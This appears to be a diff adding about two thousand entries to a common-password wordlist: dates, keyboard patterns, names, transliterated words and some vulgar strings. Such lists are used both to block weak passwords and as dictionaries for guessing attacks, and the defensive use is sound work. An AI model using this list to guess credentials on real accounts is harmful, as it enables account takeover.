+020796
+020777
+020692
+020674
+02061998
+020493
+020491
+020480
+020479
+02041968
+020395
+020394
+020390
+020386
+02031999
+02021999
+02020
+020192
+020184
+020183
+020182
+02012000
+02011969
+02011968
+0199
+0156
+0131
+013013
+012345678910
+0115
+0113
+011195
+011193
+011184
+01111973
+01101969
+01091969
+010886
+010880
+010875
+01082000
+010776
+010682
+0106
+010579
+010570
+010569
+01051996
+010473
+01041969
+01031963
+010288
+010286
+01021966
+010194
+010162
+010159
+0072563
+006900
+0033
+0023
+0012
+000005
+00000007
+00000001
+0000000000d
+zzxxccvv
+zz6319
+zverev
+zues
+zrjdktdf
+zoulou
+zoMu9Q
+zodiak
+zimmerma
+Zidane
+zhjckfdf
+zero00
+Zeppelin
+zealand
+zaq1234
+zaq1
+zapped
+zanuda
+zaharova
+zagadka
+yyz2112
+yukon1
+yousuck1
+yourmom1
+yomamma
+yfdbufnjh
+yfcnz1
+yfcnz
+yfcnfcmz
+Yellow
+yelena
+yCWVrxXH
+yankees7
+yakyak
+xxxxx1
+xohzi3g4
+xexeylhf
+xcat
+X5dxwp
+x12345
+wxyz
+wright1
+wpoolejr
+worms
+wormhole
+worldwid
+wooten
+woodwind
+wonka
+wombat1
+womack
+wolves1
+wizard12
+Wizard1
+withnail
+within
+winxclub
+wilshire
+willie12
+WILLIAMS
+william7
+willi1
+wildman1
+wiktoria
+wifey200
+widespre
+whitewolf
+whitaker
+whirling
+whatthef
+wewe
+wendall
+welding
+webman
+weasle
+wayout
+waylon
+waterbed
+waswas
+Warrior1
+Warcraft
+warcraf
+wank
+walleye1
+waderh
+wabash
+w1w2w3
+volvos80
+voluntee
+vodka1
+vladimi
+vlad777
+viperman
+vinny1
+vinbyLrJ
+Vikings
+Viking1
+vika2011
+vid2600
+Victory
+vhou812
+vfvfktyf
+vfvekbxrf
+vfrcbvjdf
+vfrcbvev
+vfnehsv
+vfifvfif
+vfhufhbnrf
+veterok
+verna
+vergesse
+vaz2101
+vasily
+vanilla1
+vangar
+valves
+valve
+vallejo
+valenci
+upper
+UP9X8RWw
+unknown1
+UNITED
+unforgiv
+undertake
+ujujkm
+ujnbrf
+ujhijr
+ufhhbgjnnth
+uekmyfhf
+typical
+type
+twizzler
+twista
+tweety1
+tututu
+turnb
+turd
+tura
+tujhjdf
+tubby
+tuba
+ttocs
+ttam
+tsv1860
+trytry
+truckman
+trot
+trivium
+triumph1
+triste
+Tristan
+tripoli
+trew
+trapped
+transits
+tranquil
+traffic1
+trader1
+towson
+toutoune
+tourist
+touche
+toront
+tornados
+toratora
+toplay
+topcop
+tony_t
+tompkins
+tommylee
+tommyd
+tomek1
+tomcat1
+tom1
+tobia
+toast1
+tman
+tkachuk
+tiziana
+titstits
+titani
+tire
+tintable
+tinkle
+timberwolf
+timberlake
+tightend
+tigger99
+tigger11
+tigerboy
+tiger22
+tiger200
+tiffy
+tick
+Tiberius
+THUMPER
+thorthor
+thomas11
+thinner
+thesnake
+thesis
+themoon
+thehip
+thebears
+thd1shr
+tgo4466
+terps1
+terces
+tennis11
+temp01
+telecaster
+TeFjPs
+teach
+tea4two
+TAURUS
+tatoo
+tapper
+tapout
+tanya123
+tangent
+tane4ka
+talonesi
+tallulah
+talisker
+takayuki
+tadmichaels
+System
+syrup
+swollen
+switzer
+sweetpussy
+swanny
+swami
+svetasveta
+suzyq
+suzieq
+surfcity
+surface
+superted
+supermax
+Superma1
+superjet
+super5
+sunghi
+suit
+suggest
+suger
+suerte
+sudhakar
+sucker69
+Success1
+stunna
+stuffit
+stuart1
+stryke
+strikes
+Strider
+stressed
+strela
+stoneman
+stomatolog
+stitches
+stimpy1
+stgeorge
+stevo
+Steven1
+stevek
+steve121
+sterne
+stephany
+stellina
+steamy
+stason
+stasia
+Starwar1
+starrr
+starline
+starik
+starburs
+Stalker
+stacks
+stack
+stacey1
+ssecca
+sr20dett
+squealer
+spurs123
+sprint1
+sprin
+spit
+spiritus
+spiri
+spencer2
+spam967888
+sovereign
+soundman
+soreilly
+sophia1
+songohan
+somers
+sombra
+soloyo
+solomon1
+soloma
+solnyshko
+solidus
+socks1
+soccer69
+soboleva
+soaring
+snowmass
+snowie
+Snowball
+snoppy
+snookums
+snippy
+snapper1
+smythe
+smooches
+smokey12
+Smokey1
+smokepot
+smallfry
+smacky
+slutty3
+SLIPKNOT
+sliders
+sleepy1
+skylane
+skyblues
+Skippy
+skelly
+skate123
+sixgun
+sitges
+sissyboy
+simone1
+simo
+silvers
+silver2
+sillyme
+signup
+SIERRA
+siberia
+shweta
+shred
+shoulder
+shorter
+shortdog
+shokolad
+shiva1
+shields
+shelly1
+shaq
+shanda
+shamanking
+shalimar
+shagme
+shaft1
+shadow3
+shadow22
+shaddy
+shack1
+sexsells
+sexisgood
+sevisgur
+severine
+settlers
+settle
+servo
+Services
+serve
+sergey123
+sergeeva
+serega123
+serdce
+serbia
+sentinal
+senegal
+Sending
+segredo
+seether
+security1
+secured
+sebast
+sdfghjkl
+scrubs
+scram
+scouse
+Scott
+Scotland
+SCORPION
+scorpio7
+Schalke
+SCARFACE
+scarfac
+scare
+sayonara
+saviola
+savage1
+satelite
+sasquatch
+sasquatc
+sashadog
+sasha1988
+sarahc
+sanches
+samvel
+samso
+sammycat
+samesame
+samedi
+sameas
+salty1
+sailaway
+sadies
+sad123
+sabers
+s5r8ed67s
+rutabega
+russo
+russ120
+Ruslan
+running1
+runfast
+runescape1
+rummy
+rulezz
+ruffneck
+rudiger
+rubin
+rrrrrrrrr
+roundup
+rounds
+roulette
+rosit
+rosina
+rosales
+Rommel
+rolsen
+rolls
+rollo
+rolf
+roflrofl
+rodney1
+rodgers
+robertso
+ROBERTA
+robbin
+rjrfrjkf
+rjcnzy
+riven
+richardson
+richard3
+rhianna
+rfhfrfnbwf
+rfgecnfcerf
+rey619
+revenant
+rev2000
+reuters
+reunion
+residentevil
+repytxbr
+reptiles
+renaud
+remrem
+relish
+relayer
+rehnrf
+REGGIE
+reef
+redvette
+REDSKINS
+redrocke
+rednecks
+redhair
+red911
+reape
+reanimator
+realmadr
+ravers
+ravens1
+raven69
+raven3
+Raven1
+rattlesn
+Rascal
+rapeme
+rape
+ranman
+ranger02
+rando
+rana
+ramil
+ralphs
+rainrain
+rainbow7
+radical1
+rachael1
+r1234567
+qwerty89
+qwerty2010
+Qwerty02
+qwaszxqw
+quiver
+Qqqqqq1
+Qqqqq1
+qazxcdews
+Qazwsx123
+qazqwe
+qazokm
+q2w3e4r
+Q1W2E3
+putney
+pussyca
+pussy3
+pussy21
+pussy101
+pursuit
+purpose
+punt0IT
+punksnotdead
+punjabi
+puneet
+pumpum
+puhpuh
+psw333333
+proof
+prong
+project1
+production
+prober
+prism
+pretende
+pressman
+premiumcash
+preciou
+preciosa
+prapor
+Pppppp1
+positiv
+porkypig
+poptarts
+poppydog
+poopee
+ponytail
+pondscum
+pompon
+polygon
+politic
+poligon
+poker123
+pointe
+poetic
+pmdmsctsk
+pleomax
+playstation3
+Platinum
+planet1
+pippa1
+pippa
+pinkpant
+pikach
+piglett
+pickel
+picass
+photosho
+phoebus
+phil413
+phase
+phanto
+phantasy
+peterman
+perry1
+perrito
+pepper2
+penelopa
+pelmen
+peggy1
+peek
+peanut12
+Peaches
+peace123
+pavlin
+pause
+patrick7
+path13
+pastry
+password21
+password10
+passwo
+passw0rd1
+Pass1234
+pass10
+partys
+partyon
+particle
+partagas
+Paris
+parfilev
+parazit
+paquito
+paperclip
+pantss
+panget
+pander
+palenque
+paintball1
+painful
+padre
+p1234567
+P030710P$E4O
+owen10
+overton
+osipov
+orthodox
+orgasmic
+orchids
+ooooooooo
+Ooooo1
+ONLINE
+onemore
+oneluv
+omgwtfbbq
+omg123
+omega13
+omaha
+olsen
+olli
+oleg1995
+okie
+odinthor
+odense
+odelay
+number20
+nukem
+note
+noonie
+None
+nomar
+nomames
+nolan1
+nokiaa
+nokia6630
+nokia5320
+noisette
+nofate
+nofags
+noddy
+nissan350z
+Nissan
+nini
+ninety
+nimda
+nikki123
+nightime
+night1
+nigge
+nicklas
+NICK
+nicetry
+nibble
+nfymrf
+neworlea
+newhome
+newera
+nestea
+nescafe
+neronero
+nermin
+nenit
+nemrac
+NEMESIS
+negrito
+needsome
+necroman
+NdsHnx4S
+ncstate
+nccpl25282
+Nathan1
+nathan0
+NATHAN
+natale
+natala
+nara
+napol
+napier
+nanotech
+namtab
+nadia1
+nadege
+n8skfSwa
+mystikal
+myron
+mynuts
+mylady
+mxyzptlk
+mwss474
+mutiny
+mustard1
+multiplelog
+mulder1
+muggins
+muffy1
+muffin12
+mufc
+mtwapa1a
+msdn
+mrlover
+mrkitty
+MOUNTAIN
+motorcycle
+motoman
+mordred
+morbius
+moomoo1
+moom4242
+montgome
+monte1
+montagna
+monsta
+monopoli
+mono
+monkeys1
+monkey66
+mongrel
+money111
+monet1
+monda
+moll
+moline
+module
+modest
+Mobile
+miyamoto
+mithrand
+misty2
+misterio
+mishel
+minogue
+minnie1
+minimax
+minhasenha
+mingming
+miner
+mineonly
+milwaukee
+miller2
+milky
+milkshake
+mile
+mikes
+mike44
+mike26
+miguelit
+mignon
+midas
+mickeymo
+Mickey1
+michaell
+mets69
+merlin99
+merl1n
+merckx
+mercenar
+mensuck
+melvins
+melone
+melena
+mekong
+megryan
+megaman1
+meeeee
+meee
+medvedeva
+medics
+mcgill
+mcduff
+mayflowe
+max007
+mattress
+matia
+matheus
+mashenka
+mashed
+marykate
+maryjoy
+marwan
+marusa
+martin2
+marry
+married1
+maroon5
+marlin1
+marlee
+markov
+mark01
+mariska
+mario64
+MARINA
+marilena
+marica
+margaret1
+marcin1
+marcelle
+maral
+maomao
+mantle7
+manstein
+manni
+manga1
+mandys
+mandragora
+mandarinka
+mancity1
+mammy
+mallard1
+making
+majick
+maiyeuem
+maimai
+mahimahi
+magistr
+madison9
+madison3
+madam
+macker
+machado
+macdonal
+m1chael
+M0b1l3
+lyubov
+lyrics
+lynda
+luxury
+luthien
+lumberjack
+Ludwig
+lucretia
+lucky6
+lucky12
+lubbock
+luap
+lowe
+lovey
+loveone
+loveman
+lovebugs
+love01
+losfix16
+lorna
+lordsoth
+lordik
+loosee123
+lool
+longboar
+lolnoob
+lokiju
+logica
+logan123
+lodge
+locate
+loca
+lmfao
+lloyds
+lloyd1
+llama1
+liverpoolfc
+liveoak
+lisichka
+lisabeth
+lipper
+lionsden
+linus1
+linksys
+Lindsey
+lindeman
+limo
+likesit
+lighters
+lifetec
+lifeguar
+Lieve27
+lieben
+licklick
+libras
+liana
+lewie622
+leverage
+leto2010
+leolion
+length
+legola
+legioner
+legalize
+leftover
+left4dead2
+leduc
+lebedev
+laurab
+latour
+latics
+lateralus
+laster
+larrybir
+Larry
+lardass
+langston
+landis
+lala123
+lakers12
+laforge
+ladybu
+labels
+l0swf9gX
+kzsfj874
+kwiettie
+kurupt
+kurtcobain
+kurgan
+kukuku
+kubota
+krayzie
+komlos
+kolesnik
+koala1
+knight12
+klubnika
+klinker
+Kingdom
+King
+kimota
+kilokilo
+killer23
+killer11
+kikiriki
+kierra
+kickbutt
+kfnju842
+Kevin1
+Kermit
+kensai
+kendall1
+kekskek1
+keiths
+keithb
+keith123
+keen
+kcaj
+kbdthgekm
+kazu
+kats
+katrine
+kathrine
+katekate
+karting
+karabas
+kangoo
+kamal
+kaliningrad
+k1ller
+k1234567
+junky
+jungfrau
+julius1
+juggler
+juggalo1
+jtjtjt
+jose98
+joschi
+jordan99
+joop
+jonnyboy
+jonnyb
+joiner
+Johnson1
+joey21
+jocko
+jmol01
+jkl123
+jjones
+Jimandanne
+jijiji
+jgordon
+jetblue
+jesus2
+jerrod
+jerom
+Jeremy1
+jeremia
+jens
+jeepin
+jeanjean
+jaydog
+jasong
+jason25
+JASMINE
+jasmina
+janbam
+jamming
+jamie123
+Jamie
+jami
+jamesk
+james3
+jamal1
+jake99
+jacob2
+jacked
+jackas
+jaba
+j0nathan
+ivanka
+ivan2010
+isabel1
+irwin
+ironmike
+ironic
+ironfist
+irocz28
+irock
+irina1
+irie
+iop890
+intoit
+intersta
+InstallSqlSt
+insignia
+inhere
+infrared
+Information
+incoming
+inbed
+iloveyou123
+ilovejesus
+iloveboobies
+illuminati
+Iiiiiii1
+igor123
+igloo
+iglesias
+ifufkbyf
+iecnhbr
+idea
+icepick
+iamtheman
+hydrant
+HXxrVWCy
+hussein
+hurst
+hunter22
+hungwell
+hummerh2
+HUMMER
+humbert
+huligan
+hornball
+hoppers
+Hooters1
+hooligans
+hoodoo
+honky
+honker
+homer69
+holsten
+holman
+hollister
+holera
+hohohoho
+hobbes1
+hj8Z6E
+hillcres
+hideout
+hhhhhhhhhh
+Hhhhh1
+hfvbkm
+heyjude
+hexagon
+heron
+hendrick
+hen3ry
+hemligt
+helpme2
+helpful
+helloall
+hello22
+heckfyxbr
+heckfyf
+hebert
+headhunt
+haus
+harrow
+Harrison
+harmony1
+harddriv
+harami
+Hansen
+hangten
+handsoff
+hana
+hammered
+haloreach
+halima
+hairdo
+guppie
+gumshoe
+gumper
+gulf
+guernsey
+grundle
+grim
+grillo
+grill
+GREGORY
+greer
+greentre
+greeneyes
+grandorgue
+grandma1
+graci
+graceland
+grace17
+gosling
+GORDON
+goose2
+gooner1
+goodgame
+gooch
+gold12
+gogosox
+godswill
+godeep
+gnorman
+gnome
+glock9mm
+glock40
+given
+giuli
+girly
+ginseng
+gillian1
+Gilbert
+gigant
+giga
+ghgh
+gfhfcjkmrf
+gfgf1234
+gfgf
+gfedcba
+gfccgjhn
+gevorg
+gevaudan
+getsum
+gerrit
+germa
+geri
+georgin
+gcheckout
+gbrfxe
+gazza1
+gazeta
+gawker1
+gauss
+gatogato
+gatlin
+gary123
+garfield1
+gammas
+gamma1
+gamlet
+gamess
+gallon
+fy.njxrf
+fylh.irf
+futuro
+funboy
+fumble
+fugitive
+fuckyouguys
+fuckyoubitch
+fuckyou12
+fuckoff2
+FUCKOFF
+Fuckoff
+fuckmyass
+fucklife
+fubu
+fritzy
+friend1
+freeee
+freedom4
+freed
+Freddie
+Franklin
+Francoi
+fraise
+foxwoods
+fox123
+forzima
+forsure
+forever21
+ford22
+forbidde
+footboy
+foodie
+foodfood
+fontana
+foiegras
+FLORIDA
+flooring
+flog
+flippers
+flicker
+flea
+fldjrfn
+flblfc
+flavour
+flashbac
+flap
+fktdnbyf
+fitte
+fishlips
+firstson
+Fireman
+firehose
+firefly1
+fire69
+fire1
+fiona1
+finesse
+find
+fighting54
+fifty50
+fifa2008
+fhnehxbr
+fghbjhb
+fetter
+festina
+ferrum
+ferrell
+ferraris
+fermer
+fenrir
+felder
+fedex
+februar
+fdhjhf
+FBi11213
+fatkid
+fatback
+farmer1
+Fantasy1
+fanny1
+fancy1
+family5
+fallen1
+fajita
+fairy
+fairlady
+fair
+fahbrf
+facade
+fabiano
+F8YruXoJ
+eyedoc
+eybdthcbntn
+eveli
+eurocard
+eugene1
+estefan
+esteem
+espada
+eshort
+eruption
+erotik
+ern3sto
+erich
+Enterpri
+Enter1
+ensign
+engine1
+engaged
+endure
+encarta
+empathy
+emmanue
+emilys
+emerald1
+elvis69
+elmer251
+ellison
+elegant
+electra1
+election
+eldridge
+ekilpool
+egyptian
+educatio
+edmundo
+Eddie1
+economics
+eagles20
+EAGLE1
+EAGLE
+duvall
+dutton
+durban
+dunca
+dumpling
+dummys
+dumbshit
+dumbo
+dumbdumb
+duisburg
+dududu
+dubai
+drums1
+drumer
+drogba
+dredre
+drawer
+dragon64
+downunde
+downtime
+dorset
+doormat
+doofer
+doodad
+doneit
+donal
+domi
+DOCTOR
+dochka
+dmxdmx
+dmh415
+dkflbdjcnjr
+djljgfl
+divinity
+diversio
+disneyland
+Disney
+diplom
+dionis
+dinamite
+dimon4ik
+dimedrol
+dima1994
+diller
+dignity
+Digger
+diablos
+dgthtl
+dfcz123
+devon1
+devilish
+despair
+DERRICK
+denzel
+denison
+demolay
+deliciou
+delfi
+delacruz
+deflep27
+deez
+deeppurple
+deep111
+debbie69
+Death1
+deangelo
+deandre
+de1987ma
+dddddddddd
+dddddd1
+dctvghbdtn
+dctvghbdf
+daybreak
+davidw
+davidr
+david3
+daulet
+dasha1
+daruma
+dark666
+darion
+darin
+darcy1
+dannyb
+danielle1
+daniel01
+dallas12
+dallas11
+daffyduc
+dado
+dabble
+czar
+cytujdbr
+cybernet
+cxzdsaewq
+Cv141ab
+cums
+cumlover
+cum123
+crumpet
+cruiser1
+cronaldo
+croco
+crjhjcnm
+cristopher
+cribbage
+creative1
+Creative
+crass
+crashed
+cracked
+cptnz062
+costco
+cossack
+cornel
+cornball
+corinth
+cooney
+cool11
+conni
+conley
+condon
+concac
+conair
+comrade
+compress
+completed
+compaq3
+coleman1
+cokeisit
+cocoa1
+cobweb
+cobra123
+coachman
+Co437at
+co2000
+cnhfyybr
+Cmu9GgZH
+cmoney
+clinic
+climbon
+cliff1
+clementi
+clarisse
+claims
+cjytxrj
+cjhjrf
+cire
+cious
+chupa
+chunli
+chum
+chubba
+christian1
+Christ
+chorus
+chorizo
+choices
+chloe123
+chivalry
+chinna
+chinita
+chihuahua
+chiar
+chet
+CHESTER
+cherri
+chelsea0
+Cheese
+cheerleader
+cheek
+checked
+charro
+charmer
+charlot
+charle1
+chariot
+character
+changepa
+champio
+chalmers
+chalky
+chaise
+chacho
+cessna17
+cerulean
+cerro
+ceramic
+CELTIC
+ceisi123
+cecili
+Cdtnkfyf
+cbrown
+cbr600f4
+Cb207sl
+cazzo1
+CATS
+Catherine
+cateye
+catering
+catbert
+caseih
+carrillo
+carolyn1
+carnegie
+carlyle
+carlit
+Carla51
+carin
+caracol
+caper
+candlebo
+candide
+camshaft
+camron
+callista
+calculator
+calbears
+calabria
+cahill
+CADILLAC
+cadet
+cachou
+cabinets
+cabible
+bvgthbz
+buzzman
+Butthead
+butterfly1
+bushes
+busdrive
+burrows
+bundas
+bumerang
+bulls123
+bullpen
+bugsbugs
+bugged
+bugeye
+bugaboo
+buffy16
+buffaloe
+buenos
+buddy23
+buckwild
+bsheep75
+bryce1
+Brutus
+brunswic
+bruno12
+brunner
+bruder
+broadband
+BRITTANY
+brianm
+brian2
+brentford
+braves95
+boutique
+bottles
+botswana
+bossdog
+bosco123
+borisova
+boriska
+bootycal
+booo
+boognish
+boog
+boodle
+booboo69
+bonethugs
+boneman
+boludo
+bologna1
+bollix
+bokbok
+bogos
+bodega
+bobster
+bobbym
+bob2000
+Bo243ns
+bmw320i
+bmw318i
+bluetick
+bluesea
+bluedevils
+blub
+blowup
+blown
+bloembol
+blitzen
+Blazer
+blasters
+blade123
+blackpool
+blackone
+blacker
+blackdick
+blac
+bitche
+birthday6
+birthday10
+billy2
+billiam
+bill2
+bigwig
+bigwave
+bigtom
+bigtime1
+bigsur
+BIGONE
+bigjon
+biggi
+bigfan
+bigdo
+bigbro
+bibble
+beverl
+Bettina
+betabeta
+berta
+Berlit
+Ber02
+benidorm
+bengals1
+bellaboo
+belgorod
+belgario
+behave
+begemotik
+beegee
+beatles4
+bearing
+beardown
+bearclaw
+bearcat1
+BEAR
+beagles
+bbbbbb1
+bball23
+batman11
+bathtub
+basspro
+basile
+bartolo
+bartek1
+barsoom
+barrynov
+barrera
+barrakuda
+barney12
+barney11
+barnaul
+barbosa
+barbecue
+barbaris
+bApeZm
+banter
+banshee1
+baltazar
+baller23
+baksik
+bakker
+bajskorv
+bailey2
+Bailey1
+bahram
+Baggins
+bagdad
+badmojo
+badbob
+backward
+bacardi1
+BABYGIRL
+baby69
+babcock
+b00bies
+b00b00
+azzurra
+azonic
+ayacdc
+axelle
+avocet
+Avatar
+avalon1
+Avalon
+available
+automatic
+aurinko
+august25
+august12
+august11
+audio1
+Atlantic
+Assword1
+assembler
+asilas
+ashton1
+asel
+asdfrewq
+asdf67nm
+asdf4321
+arun
+artyom
+arsenic
+arsenal2
+arschloc
+arnie
+armour
+armadillo
+Arlington
+archmage
+arcanum
+arbiter
+araceli
+applied
+apple13
+appel
+aolcom
+ants
+antoxa
+antero
+antalya
+ant123
+Annette
+annann
+anjela
+aninha
+anglia
+angi
+angelique
+angel99
+angel69
+andy11
+andreea
+andrea11
+anastasiy
+analslut
+amistad
+amigo1
+America1
+amadeus1
+altosax
+altavista
+alone1
+almaz666
+almas
+allan123
+aliya
+alison1
+ALEXIS
+alexa1
+alex23
+alex02
+alesia
+alena2010
+alekseev
+aleksand
+alberto1
+alber
+albator
+alaska1
+alanfahy
+akitas
+aircav
+aileron
+aidan
+agricola
+afhfjy
+advisor
+admin2
+adjkadjk
+adel
+actress
+acting
+acorns
+acmilan1
+acme34
+acdeehan
+Ac2zXDtY
+abundance
+abroad
+abcde1
+abc125
+abc123abc
+abacabb
+aamaax
+aaa12
+a3jTni
+a1234b
+a1234567890
+a121212
+9989
+98798798
+9811020
+9595
+944turbo
+9379992q
+926337
+9009
+8XUuoBE4
+8VjzuS
+8928190a
+888555
+8823
+8686
+8651
+85852008
+80637852730
+7inches
+7elephants
+785612
+779977
+7778
+7700
+7669
+76543210
+7476
+7467
+7452tr
+7418529630
+709394
+705499fh
+6900
+6869
+68686868
+678901
+6768
+667766
+666420
+6543
+60606
+5tgbnhy6
+57392632
+564564
+5622
+5612
+5598
+5577
+5556
+5551298
+550722
+5505
+54775477
+546546
+5422
+5411pimo
+5400
+531879fiz
+5263
+5262
+5255
+5200
+51094didi
+4iter
+49ers1
+4976
+48774877
+4808
+4807
+4712
+46775575
+4666
+45auto
+45685
+456123a
+455445
+4546
+4541
+4520
+4507
+450000
+4469
+4434
+443322
+442200
+4377
+4294967296
+425425
+4233
+4225
+4126
+4123
+411411
+4077mash
+4034407
+4013
+4001
+3techsrl
+3f3fphT7oP
+38gjgeuftd
+369874125
+3657549
+3630000
+3615
+3578951
+3578
+34778
+3388
+337733
+33693369
+33334444
+321cba
+3215
+3194
+316497
+31323132
+311280
+311278
+31121997
+311092
+311078
+31101969
+310894
+31082000
+31081996
+310594
+310576
+310381
+310379
+310373
+31031971
+310197
+310183
+310180
+31011965
+3100
+3052
+301073
+301072
+301070
+30101968
+30091969
+300893
+30081970
+30081969
+30081968
+300775
+30071995
+300693
+30063006
+30061969
+300574
+300572
+30052008
+300392
+30032002
+30031968
+300185
+30012000
+30011999
+30011967
+2gether
+291276
+29121996
+291190
+291187
+291181
+291173
+291078
+29101973
+290975
+29091999
+29091997
+29091960
+290897
+290896
+290892
+29081998
+290794
+290772
+290695
+290678
+290674
+29061962
+290595
+290578
+29051963
+29051959
+290492
+29042000
+290394
+290392
+290381
+29031998
+29031964
+290280
+290195
+290194
+29011997
+281268
+28121997
+28121969
+281187
+281169
+28111967
+281073
+28101970
+2809
+280895
+280875
+28081971
+28081970
+280778
+280773
+28071960
+280707
+280692
+280685
+280673
+28061961
+28051968
+28051967
+28051966
+280481
+280464
+280396
+28031973
+28031964
+280294
+280283
+280274
+28011999
+28011966
+2766
+2715
+271295
+271279
+271278
+27121995
+27121969
+27121961
+271170
+27111998
+271095
+271091
+27101973
+27101967
+270992
+270980
+270978
+270895
+270879
+27081998
+27081972
+27081969
+27081966
+270776
+270768
+27072000
+27071963
+27071962
+270677
+27061970
+270572
+270475
+27041966
+270395
+270379
+270374
+270362
+270295
+270280
+27021965
+270196
+270195
+270177
+27011998
+27011968
+267ksyjf
+26121997
+26121966
+261095
+26101966
+260978
+260977
+260894
+260889
+260879
+26081967
+26081962
+260795
+260774
+26071965
+260695
+260673
+26062000
+26061960
+2606
+260574
+260475
+26041963
+260395
+260394
+26031968
+26031963
+260293
+26021969
+26021966
+260181
+260175
+26011969
+2589
+2587
+258654
+2570
+2564
+2562
+2521
+251293
+251277
+25121998
+25121969
+251173
+25111974
+25111966
+251094
+250996
+250970
+25081999
+250794
+250775
+250771
+25071971
+25071969
+25071964
+25071960
+25061969
+25051967
+25051959
+250505
+250496
+250495
+25041999
+250375
+25031967
+25031962
+25031956
+250294
+25022000
+25021961
+250196
+250195
+250172
+25011968
+25011965
+25011962
+25011961
+250100
+248ujnfk
+2477
+246890
+246824
+2465
+2456
+2453
+2433
+24111998
+241094
+24091970
+24091968
+24091960
+240896
+24081961
+240794
+240792
+24071973
+24071967
+240692
+240675
+24061970
+240570
+240562
+24051961
+24041962
+240380
+24031999
+24031998
+240294
+240275
+240197
+240179
+240173
+2359
+232232
+2313
+231294
+231273
+231178
+231177
+23111998
+23111995
+23111958
+231077
+23101998
+230976
+230970
+230896
+230874
+230783
+230779
+23071965
+230671
+230670
+23061996
+230596
+230595
+23051968
+230396
+230377
+23031998
+23031969
+23031964
+23031961
+230278
+23021965
+23021964
+230194
+23011965
+2272
+2264
+2257
+2254
+2217
+2216
+221264
+22122212
+22121968
+22111958
+221092
+22101969
+22101967
+22092000
+22091969
+22091964
+22091960
+220896
+220893
+220868
+220866
+22082000
+22081969
+22081967
+22071960
+22061960
+22051970
+220479
+220470
+220374
+22031969
+22031962
+220263
+22021966
+220183
+22011956
+220022
+2187
+2183rm
+2176
+216216
+2151
+2150
+211276
+211268
+21121965
+211174
+211112
+211082
+211081
+21101997
+21101996
+210996
+210995
+210980
+210973
+21091968
+210881
+210878
+210876
+210794
+21071997
+21061999
+210593
+21051969
+21051968
+21041968
+21041966
+21041963
+210370
+21032103
+210294
+210280
+210277
+210276
+210273
+21021956
+21011997
+21011969
+21011966
+2052
+2031
+2025
+2014
+201295
+20121969
+201201
+201198
+201191
+20111963
+201091
+201080
+201062
+20101997
+200994
+200978
+20091998
+20081997
+20081964
+20081961
+20071997
+20071963
+20071957
+200673
+20061970
+20061967
+20061960
+200495
+200376
+20031961
+20022003
+20021968
+20021964
+20021962
+20011966
+20011961
+1z1z1z
+1qwertyuiop
+1qaz@WSX
+1qayxsw2
+1q3e5t7u
+1pussy
+1Morgan
+1Mickey
+1Maggie
+1Joshua
+1Jjjjj
+1grizzly
+1Fucker
+1Compute
+1Chris
+1chris
+1Asshole
+1Aaaaaa
+1a2s3d4f5g6h
+19955991
+199423
+199412
+198919
+198787
+198600
+198555
+198519
+197600
+197430
+197197
+197100
+19441944
+1924
+19181918
+191291
+191290
+19121960
+191189
+191185
+19111958
+191091
+19101969
+19101965
+19091970
+190892
+19081969
+19081964
+190789
+190681
+190676
+19051961
+190491
+190480
+19041969
+190387
+190381
+190377
+190374
+19031965
+19031959
+190291
+190286
+190285
+190277
+190186
+190180
+19011964
+19011959
+1814
+181293
+18128
+181277
+181271
+18121963
+18111998
+181093
+18101966
+18091997
+18091968
+180879
+18082000
+18081957
+180794
+180787
+180778
+18071997
+18071963
+180678
+18061963
+18061959
+180595
+180495
+180481
+18041969
+180395
+180393
+180390
+180375
+18031971
+180295
+180274
+18021998
+18021969
+18021965
+180192
+18011964
+1723
+171277
+171182
+17112000
+171076
+17101998
+17101969
+17101966
+170992
+170980
+17091961
+170873
+17082000
+17081998
+17071994a
+17071961
+170695
+170679
+170674
+17061969
+17061966
+17041971
+170393
+170284
+17022000
+17021970
+17021968
+17011957
+16911691
+166666
+16473a
+1640
+1625
+1623
+1618
+1614
+161294
+161271
+16121968
+161195
+161170
+16111968
+161096
+161092
+161075
+16101978
+160995
+160994
+16091970
+16091959
+160893
+160881
+160877
+160870
+16081967
+16081966
+160794
+160789
+160775
+16071961
+160671
+160575
+160572
+16051997
+16051958
+16041969
+16041963
+16041962
+160391
+160376
+16031999
+16031962
+16031959
+160293
+16021961
+16021959
+160197
+160195
+160194
+160193
+16012000
+16011977
+16011969
+16011968
+15915
+1573
+1565
+155555
+15362
+1533
+1531
+15261526
+151500
+151281
+151273
+15111969
+15111966
+15101969
+15101965
+150994
+150991
+150975
+15091998
+15091958
+150893
+150864
+15081961
+150793
+150774
+15071970
+150672
+15061995
+15051967
+15051963
+150496
+150490
+15041966
+150375
+150371
+15031970
+15021964
+15021502
+150178
+15012000
+15011968
+1479
+147789
+1474
+1470
+1447
+1429
+142536789
+14151415
+141290
+141273
+14121996
+14111968
+14081970
+140798
+14071968
+14071964
+14071789
+140696
+140678
+14061961
+140578
+14051970
+14051965
+14051960
+140491
+140461
+14041969
+14041966
+14041963
+140396
+140392
+14031997
+140297
+140268
+140176
+14011996
+1385
+13601360
+1357642
+1347
+13141314
+13121997
+13121968
+13111971
+13101999
+13101966
+130993
+130974
+13091999
+13091975
+13091959
+130875
+130770
+13071972
+13071968
+130694
+130692
+130676
+13061971
+13061970
+130576
+130572
+130563
+130495
+130475
+130377
+130373
+13031964
+13031957
+13031956
+130271
+13011970
+1299
+1295
+1291
+1282
+1261
+125412
+124365
+123ert
+123edc
+12399
+123678
+12345rewq
+12345qqq
+123456zz
+123456qwer
+1234567qw
+1234567m
+123456789i
+123456789e
+123456789c
+123456789as
+12345670
+123456654
+1234554321q
+12345$
+123445
+12343412
+123123f
+123123123123123
+12300
+12281228
+122448
+121970
+121298
+12128
+121259
+12121997
+121193
+12111963
+121066
+121063
+12101999
+12101970
+12101966
+120997
+120996
+120970
+120965
+12091999
+12091970
+12082000
+120795
+12071965
+120697
+120674
+120598
+120597
+120571
+12051969
+120496
+12041966
+120394
+120299
+120278
+120276
+120270
+120269
+12021971
+120163
+12011971
+1195
+1191
+118a105b
+1182
+118118
+11661166
+1166
+1158
+115511
+115115
+11281128
+112482
+112244
+112233445
+11223311
+11201120
+111a111
+111987
+111870
+111568
+111292
+111281
+111222q
+111194
+111173
+111172
+111163
+11111999
+11111118
+111100
+111082
+111077
+11098
+110969
+110894
+110877
+11081968
+11081959
+110695
+110671
+11061970
+11061964
+110491g
+110474
+110473
+11042001
+11041957
+11031966
+110299
+110271
+11021998
+110176
+11011967
+11011963
+10987654321
+1048
+1042
+102878
+102575
+102030405
+101297
+101273
+101264
+101195
+10111971
+10111960
+1011111
+10111
+101099
